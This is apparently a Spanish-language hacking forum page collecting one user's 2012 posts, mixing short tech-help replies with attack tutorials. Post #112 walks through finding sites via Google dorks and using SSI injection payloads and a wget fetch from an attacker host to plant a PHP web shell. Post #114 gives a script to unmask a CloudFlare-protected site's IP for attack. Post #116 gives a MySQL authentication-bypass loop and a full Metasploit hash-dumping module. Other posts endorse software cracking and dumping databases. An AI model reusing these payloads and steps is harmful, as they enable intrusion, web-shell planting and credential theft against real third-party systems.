Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - CalebBucker

#101
Dudas y pedidos generales / Re:[CONSULTA] Backtrack:
Julio 02, 2012, 11:44:09 PM
Todo USB es booteable.

Si andas booteando la .iso desde el USB, fijate y asegurate que en los BIOS la configuracion del arranque del equipo este configurado para que arranque desde el USB.

Si logras bootearlo, te saldran unas letras diciendo algo de linux ............................... solo esperas a que cargue o le das enter y listo.
#102
Si supuestamente tu tio formateo tu laptop, se debio borrar todas las particiones y solo quedaria el disco C: o en algunas veces cuando se formatea queda el C: y D:

Podes borrar todas las particiones que quieras y tu laptop no se dañara ni nada por el estilo, pero no borres la particion del disco C: que es ahi donde estan los archivos de tu windows.
#103
Bugs y Exploits / Re:Symlink con la tool
Julio 02, 2012, 02:41:22 PM
Es por el .htaccess que tiene el servidor, trata de borrar todas.
#104
Galería / Re:Galeria fotomontaje by m3x1c0h4ck
Julio 02, 2012, 01:10:04 PM
Muy buenos diseños capo.
#105
Dudas y pedidos generales / Re:[CONSULTA] Backtrack:
Julio 01, 2012, 08:10:19 PM
Bueno, en primer lugar BackTrack no necesita ninguna notebook o pc en especial, se puede instalar en cualquier pc o notebook.
Si cuando intentaste instalarla y no te corrio el USB, es porque te falto configurar la BIOS para que arranque el sistema desde el USB.
Guiate de este video sobre la descarga, instalacion y algunas cosas que debes de saber.



Espero te sirva.
Saludos.
#106
Ese scanner es lo maximo, recuerdo que con esa saque alguna db de facebook usando el modo gui.
saludos.
#107
Con RecordmyDesktop tambien se puede grabar desde la terminal, solo colocas recordmydesktop en la consola y empezara a grabar, luego para que pares la grabacion solo presionas ctrl + c
#108
recordMyDesktop
#109
Bugs y Exploits / Re:Defaceando a un Wordpress
Junio 27, 2012, 03:51:59 PM
Muy bueno, pero si queres que los users no hagan "lameradas" el titulo no seria DEFACEANDO WORDPRESS

Creo yo que seria SUBIR SHELL A SITIOS WORDPRESS

Saludos...
#110
Usa un Crawler, te recomiendo el dirb.

Código: text
cd /pentest/enumeration/web/dirb
#111

Hola, esta vez vamos a ver algo de móviles... en esta entrada te enseñare como distorsionar tu voz cuando realizas una llamada a cualquier celular del mundo, tu voz puede salir como robot y muchas voces mas... te gustaría hacerlo? bueno empecemos...

CONCEPTO:

Un distorsionador de voz permite recibir la señal por micrófono y sacar la señal por el parlante modificada para que la señal no pueda ser descifrada. Muchos delincuentes, secuestradores, espías y otros tipo de personas usan este método para ocultar su voz y con ello tener la seguridad de que su voz no pueda ser reconocida. Algunas personas usan la distorsión por seguridad y otras personas usan la distorsión para llevar acabo delitos y no poder ser reconocido por los agentes de la seguridad.

Para realizar este método, tenemos que usar los siguientes materiales:

MATERIALES:

Adaptador 2 entradas mini Jack RCA Estéreo:


Adaptador 3 entradas mini Jack RCA mono:


Manos libres Estéreo:


Cable RCA mini Jack:


Teléfono móvil con entrada de audífono:


Portátil con salida de audio:


Teniendo todos los materiales que he mencionado, solo nos faltaría tener los software con la cual realizaremos dicho metodo.

SOFTWARE:

Morphovox Pro:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


Funny Voice:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


Fake Voice:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login



NOTA: Estos software necesitan ser crackeados o activados mediante seriales o keygen, solo busquen el crack, keygen o serial para poder activarlo y tener acceso a su uso, aparte de usar este software tienen que configurar el sonido de su maquina para que el uso del distorsionador sea posible y funcione todo correctamente. Los materiales que se necesitan para poder hacer el distorsionador móvil se pueden conseguir todos perfectamente en una tienda Electrónica o Sonido, incluso si quieren conseguirlos mas barato pueden comprarlo en tiendas de chinos todo el material especificado no supera mas de los 5,00 euros que en dólares serian 6,28 dólares (España).

CREACIÓN DEL PROYECTO:

Una ves conseguido todos los materiales y el software indicado y con muchas ganas de trabajar nos ponemos manos a la obra y lo aremos todo ordenadamente para que nuestro proyecto salga correctamente.

1.- Descargamos e instalamos el software de nuestro mayor agrado que anteriormente le indique para mi gusto Morphovox Pro ya que es mas completo y mas Profesional.

2.- Tras la instalación de nuestro software dejamos correctamente activado, el software para que no nos de problema lo hacemos mediante el método que prefiramos ya sea mediante craqueo o mediante activación por serial.

3.- Configuramos correctamente nuestro micrófono y sonido de Windows para que no tengamos problemas a la hora de realizar nuestro proyecto.

4.- Comprobamos que nuestro teléfono móvil tenga una tarjeta SIM con saldo para poder hacer nuestra prueba y con la batería de nuestro teléfono móvil al ser posible llena.

5.- Una ves hecho correctamente los pasos anteriores encendemos nuestro ordenador y preparamos todo el material para realizar el proyecto.

6.- Conectar el macho negro del adaptador mini Jack de 2 entradas en la salida de audio de nuestra maquina.

7.- Conectar el macho negro del manos libres en una entrada del adaptador mini Jack de 2 entradas.

8.- Conectar el macho negro del cable RCA mini Jack a la otra entrada del adaptador mini Jack de 2 entradas.

9.- Conectar macho blanco del cable RCA mini Jack a la entrada de sonido amarilla del adaptador mini Jack de 3 entradas.

10.- Conectar macho rojo del cable RCA mini Jack a la entrada de sonido blanca del adaptador mini Jack de 3 entradas.

11.- La entrada que sobra de video se dejaría libre sin conectar nada.

12.- Conectar macho del adaptador mini Jack de 3 entradas en la entrada de auriculares del teléfono móvil.

13.- Una ves seguido los pasos procederíamos a probar nuestro proyecto para comprobar que todo funciona correctamente pondríamos la voz deseada en el software y una ves hecho esto llamaríamos algún teléfono móvil o fijo que estuviéramos con todo conectado y hablaríamos para comprobar su eficacia y que todo funciona correctamente.

14.- Realizando todo lo anterior y teniendo todo configurado, ya podríamos realizar la llamada a cualquier teléfono móvil y nuestra vos se escuchara como un robot o lo que hayamos elegido en el programa, solo tenemos que hablar por el auricular.

Es todo & espero te diviertas  ;)

Autor: DarkSpain@CL-Security
#112

¿Qué es SSI?

Inyección SSI (Server Side Include) es una técnica de explotación de servidor que permite a un atacante enviar código a una aplicación web, que posteriormente será ejecutado localmente por el servidor web. Inyección de código SSI explota el fracaso de una aplicación web para desinfectar los datos suministrados por el usuario antes de que se insertan en un server-side interpretada archivo HTML.

Si un atacante envía un Server-Side Include, él puede tener la capacidad de ejecutar comandos del sistema operativo, o incluir el contenido de un archivo restringido la próxima vez que se sirve de la página.

Descripción: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Empecemos.

Paso I - Encontrar un Sitio Vulnerable:

El mejor Dork que he encontrado es inurl:bin/Cklb/ entonces lo escribimos en Google y vamos ir probando...

Paso II - Probando el Sitio Vulnerable:

Cuando usamos la Dork  iremos probando web por web para identificar si el sitio es vulnerable a este tipo de inyección...

¿Como identifico si el sitio es vulnerable?

Ejecutando estos simple comandos:
Código: text
<!--#echo var="DATE_LOCAL" -->
Mostrara la Fecha

<!--#exec cmd="whoami"-->
Mostrara que el usuario se esta ejecutando en el servidor (Windows)

<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre> (Linux)
Mostrara todos los archivos en el directorio

<!-- #exec cmd="dir" --> (Windows)
Mostrara todos los archivos en el directorio


Nota: Tenemos que utilizar las etiquetas <pre> </ pre> cuando ejecutamos algun comando.

Ejemplo: <pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre>

Entonces tomamos uno de los comandos y lo insertamos en los cuadros de búsqueda o campos de inicio de sesión.

Los campos de inicio de sesión en su mayoría son vulnerables.

Sitio Vulnerable, ejemplo
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Lo primero que haremos es ejecutar el comando en los campos como mencione lineas arriba, entonces esto deberia de quedar asi:



& nos devolverá todos los archivos del directorio....



Ahora vemos que nuestro comando se ejecutado con éxito y que el sitio es vulnerable ....

Paso II - Subiendo la Shell:

Como ya sabemos que el sitio web es vulnerable, entonces ya estamos listos para crear una shell.

En primer lugar tenemos que tener la shell en un .TXT y la subimos a cualquier host o nuestro host propio, ejemplo:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Ahora tenemos que descargar la shell con el siguiente comando:

<!--#exec cmd="wget You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" -->

Ahora sólo pegamos en el campo y pulsamos Entrar o Intro.



Para ver si el archivo en .TXT se ha descargado, tenemos que ejecutar el comando que usamos antes para listar los directorios:

<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre>

En este caso yo he colocado config1.txt ustedes pueden utilizar cualquier nombre



Entonces si vemos que se ha descargado correctamente, ahora solo debemos cambiar el nombre de .Txt  a .Php, utilizando el siguiente comando:

<!--#exec cmd="mv config1.txt config.php" -->

Ahora, tenemos que listar nuevamente todos los archivos y tratar de encontrar la shell, en este caso se mostrara como config.php



Ahora, como ya sabemos que la shell esta en formato php, solo nos faltaria entrar a dicho archivo desde el navegador:


& Voila tenemos nuestra shell....


Les dejare algunas dorks:
Código: text
inurl:bin/Cklb/ - Best Dork
inurl:login.shtml
inurl:login.shtm
inurl:login.stm
inurl:search.shtml
inurl:search.shtm
inurl:search.stm
inurl:forgot.shtml
inurl:forgot.shtm
inurl:forgot.stm
inurl:register.shtml
inurl:register.shtm
inurl:register.stm
inurl:login.shtml?page=


Espero que hayas aprendido algo...

Saludos.
#113
Bugs y Exploits / Re:Symlink con la tool
Junio 21, 2012, 07:48:47 PM
Guiate de este video, ya que son los mismos pasos...
#114

¿Alguna vez te topastes con un sitio web protegido por CloudFlare? ¿No suspistes como obtener la IP real del sitio web?  Pues en esta entrada te enseñare como obtener la IP real de un sitio web protegido por CloudFlare, sera simple y rapido.

¿Que es CloudFlare?

CloudFlare protege y acelera cualquier sitio web en línea. Una vez que su sitio web es una parte de la comunidad CloudFlare, su tráfico de Internet pasa a través de nuestra red global inteligente. De manera automática, optimizar la entrega de sus páginas web para que los visitantes obtener el mejor tiempo de carga de página y el mejor rendimiento. También bloquean las amenazas y limitar los robots rastreadores abusivo y de perder su ancho de banda y recursos del servidor. El resultado: powered CloudFlare sitios web de ver una mejora significativa en el rendimiento y una disminución en los ataques de spam y otros

Cuando un sitio web esta protegido por CloudFlare, esta "esconde" la IP real del mismo, entonces esto evita que el sitio pueda ser denunciado u objeto de un ataque DDOS, entonces cuando un atacante quiera realizar dicho ataque, lo primera que hara sera hacer un PING, entonces el sitio le arrojara una IP falsa, la cual el atacante enviara el DDOS a dicha ip y el sitio no caera porque no esta atacando a la IP real.

¿Como se que un sitio esta protegido por CloudFlare?

Es muy facil, yo tomare un sitio protegido por CloudFlare y hare lo que hace un atacante, lo primero que hago es hacer PING  a una web cualquiera:

Ejemplo: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Entonces cojo mi consola y hago ping You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login la cual nos arroja una ip:


Como ven la ip que nos arroja es 108.162.197.178 entonces copiamos dicha IP y la pegamos en nuestro navegador para comprobar si es la IP de dicha web.

& oh!! Sorpresa... la ip nos arroja DNS ERROR:


Como ven, ahí comprobamos que el sitio web esta protegido por CloudFlare, entonces la pregunta del millon...

¿Como obtengo la IP real de un sitio protegido por CloudFlare?

Actualmente existen muchas formas de obtener la IP real, pero algunas no son efectivas, otras no funcionan y otras nos hacen perder el tiempo.

En este caso, les dejare un pequeño script en PHP, la cual realiza la funciona de buscar la IP real de cualquier sitio web protegido por CloudFlare.

Script:
Código: text
<?php

/*
* getCF.php
* I got tired of looking up the DNS records of these various hosts
* to find the real IP of a CloudFlare protected Server.
* www.bigkesh.com
* orgy[at]bigkesh[dot]com
* Usage: php getCF.php domain.com
* Usage2: www.yoursite.com/getCF.php?find=domain.com
*/

if (!isset($argv[1]) && !isset($_GET['find']))
{
    die("Argument needs to be a valid hostname.\n");
}

$lookupArr = array("mail.", "direct.", "direct-connect.", "cpanel.", "ftp.");

foreach ($lookupArr as $lookupKey)
{

    if (isset($_GET['find']))
    {
        $newline = "<br />";
        $lookupHost = $lookupKey . $_GET['find'];
    }
    else
    {
        $newline = "\n";
        $lookupHost = $lookupKey . $argv[1];
    }

    $foundHost = gethostbyname($lookupHost);

    if ($foundHost == $lookupHost)
    {
        echo "{$lookupHost} had no DNS record.{$newline}";
    }
    else
    {
        echo "{$lookupHost} = {$foundHost}{$newline}";
    }
}

?>


Copiamos todo el código y lo guardamos con el nombre que ustedes quieran... la subimos a un hosting cualquiera, puede ser gratis o de paga.

Veamos como funciona:

Yo he guardado el código con el nombre cloud.php entonces la he subido a mi hosting y hago la consulta desde el navegador.

Ejemplo: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

La cual la web nos devolverá el resultado:


La ip que nos arrojo es: 170.210.156.90 entonces quiere decir que esa es la IP real del sitio web, con lo que ya podemos proceder a realizar cualquier cosa con dicha IP.

Recuerden colocar el find= después del código para cada consulta y solo colocar la web directa, mas no  http ni www

Pueden utilizar el script desde mi hosting: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login?

Espero les sirva.

Saludos.
#115
Hola, podes recuperar tu msn desde el Soporte de Windows Live, la cual solo tenes que rellenar algunas casillas con todos los datos exactos que contenía dicho msn.
#116

Se ha encontrado un Grave bug en MySQL & MariaDB que permite a un atacante evadir la autenticación de la base de datos.

La vulnerabilidad (CVE-2012-2122) afecta a las siguientes versiones:

- MariaDB y MySQL hasta la 5.1.61, 5.2.11, 5.3.5 y 5.5.22

NO SON vulnerables las versiones:

- MySQL 5.1.63, 5.5.24 y 5.6.6
- MariaDB 5.1.62, 5.2.12, 5.3.6 y 5.5.23

El "exploit" de este bug es simplemente realizar conexiones simultáneas, con cualquier password introducida como parámetro y contra un servidor vulnerable, obteniendo así máximos privilegios (root).

Simplemente con esta linea en bash obtendremos acceso al servidor MySQL:
Código: text
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done


Para los amantes de MSF, ya existe un módulo (mysql_authbypass_hashdump) que explota este bug para dumpear toda la base de datos:
Código: text
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::MYSQL
include Msf::Auxiliary::Report

include Msf::Auxiliary::Scanner

def initialize
super(
'Name' => 'MYSQL CVE-2012-2122 Authentication Bypass Password Dump',
'Version' => '$Revision$',
'Description' => %Q{
This module exploits a password bypass vulnerability in MySQL in order
to extract the usernames and encrypted password hashes from a MySQL server.
These hashes ares stored as loot for later cracking.
},
'Authors' => [
'TheLightCosine <thelightcosine[at]metasploit.com>', # Original hashdump module
'jcran' # Authentication bypass bruteforce implementation
],
'References' => [
['CVE', '2012-2122'],
['OSVDB', '82804']
],
'DisclosureDate' => 'Jun 09 2012',
'License' => MSF_LICENSE
)

deregister_options('PASSWORD')
end


def run_host(ip)

# Keep track of results (successful connections)
results = []

# Username and password placeholders
username = datastore['USERNAME']
password = Rex::Text.rand_text_alpha(rand(8)+1)

# Do an initial check to see if we can log into the server at all
begin
socket = connect(false)
x = ::RbMysql.connect({
:host => rhost,
:port => rport,
:user => username,
:password => password,
:read_timeout => 300,
:write_timeout => 300,
:socket => socket
})
x.connect
results << x

print_good "#{rhost}:#{rport} The server accepted our first login as #{username} with a bad password"

rescue RbMysql::HostNotPrivileged
print_error "#{rhost}:#{rport} Unable to login from this host due to policy (may still be vulnerable)"
return
rescue RbMysql::AccessDeniedError
print_good "#{rhost}:#{rport} The server allows logins, proceeding with bypass test"
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error "#{rhost}:#{rport} Error: #{e}"
return
end

# Short circuit if we already won
if results.length > 0
@mysql_handle = results.first
return dump_hashes
end


#
# Threaded login checker
#
max_threads = 16
cur_threads = []

# Try up to 1000 times just to be sure
queue = [*(1 .. 1000)]

while(queue.length > 0)
while(cur_threads.length < max_threads)

# We can stop if we get a valid login
break if results.length > 0

# keep track of how many attempts we've made
item = queue.shift

# We can stop if we reach 1000 tries
break if not item


# Status indicator
print_status "#{rhost}:#{rport} Authentication bypass is #{item/10}% complete" if (item % 100) == 0

t = Thread.new(item) do |count|
begin
# Create our socket and make the connection
s = connect(false)
x = ::RbMysql.connect({
:host => rhost,
:port => rport,
:user => username,
:password => password,
:read_timeout => 300,
:write_timeout => 300,
:socket => s,
:db => nil
})
print_status "#{rhost}:#{rport} Successfully bypassed authentication after #{count} attempts"
results << x
rescue RbMysql::AccessDeniedError
rescue Exception => e
print_status "#{rhost}:#{rport} Thread #{count}] caught an unhandled exception: #{e}"
end
end

cur_threads << t

end

# We can stop if we get a valid login
break if results.length > 0

# Add to a list of dead threads if we're finished
cur_threads.each_index do |ti|
t = cur_threads[ti]
if not t.alive?
cur_threads[ti] = nil
end
end

# Remove any dead threads from the set
cur_threads.delete(nil)

::IO.select(nil, nil, nil, 0.25)
end

# Clean up any remaining threads
cur_threads.each {|x| x.kill }


if results.length > 0
print_good("#{rhost}:#{rport} Successful exploited the authentication bypass flaw, dumping hashes...")
@mysql_handle = results.first
return dump_hashes
end

print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")
end

def dump_hashes

# Grabs the username and password hashes and stores them as loot
res = mysql_query("SELECT user,password from mysql.user")
if res.nil?
print_error("#{rhost}:#{rport} There was an error reading the MySQL User Table")
return

end

# Create a table to store data
tbl = Rex::Ui::Text::Table.new(
'Header' => 'MysQL Server Hashes',
'Indent' => 1,
'Columns' => ['Username', 'Hash']
)

if res.size > 0
res.each do |row|
next unless (row[0].to_s + row[1].to_s).length > 0
tbl << [row[0], row[1]]
print_good("#{rhost}:#{rport} Saving HashString as Loot: #{row[0]}:#{row[1]}")
end
end

this_service = nil
if framework.db and framework.db.active
this_service = report_service(
:host => rhost,
:port => rport,
:name => 'mysql',
:proto => 'tcp'
)
end

report_hashes(tbl.to_csv, this_service) unless tbl.rows.empty?

end

# Stores the Hash Table as Loot for Later Cracking
def report_hashes(hash_loot,service)
filename= "#{rhost}-#{rport}_mysqlhashes.txt"
path = store_loot("mysql.hashes", "text/plain", rhost, hash_loot, filename, "MySQL Hashes", service)
print_status("#{rhost}:#{rport} Hash Table has been saved: #{path}")

end

end


Fuente: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#117
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Deja la web & asi te podremos ayudar.
Te la paso por mp? Es que la escogí al azar y no me gustaría ponerla en publico...yo no quiero hacer nada malo, solo ver si puedo entrar, pero no se si los demás la van a mal utilizar...

Bueno, enviamela por MP, cuando tenga tiempo la veo.

PD: Sanko, es Exploit no Xploit.
#118
Pasale el SpyBot, es lo mejor.

Download: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#119
Deja la web & asi te podremos ayudar.
#120
Bien, la web esta bloqueando las peticiones que vos andas enviando, por lo tanto el exploit no puede enviar ni recibir conexiones con la web.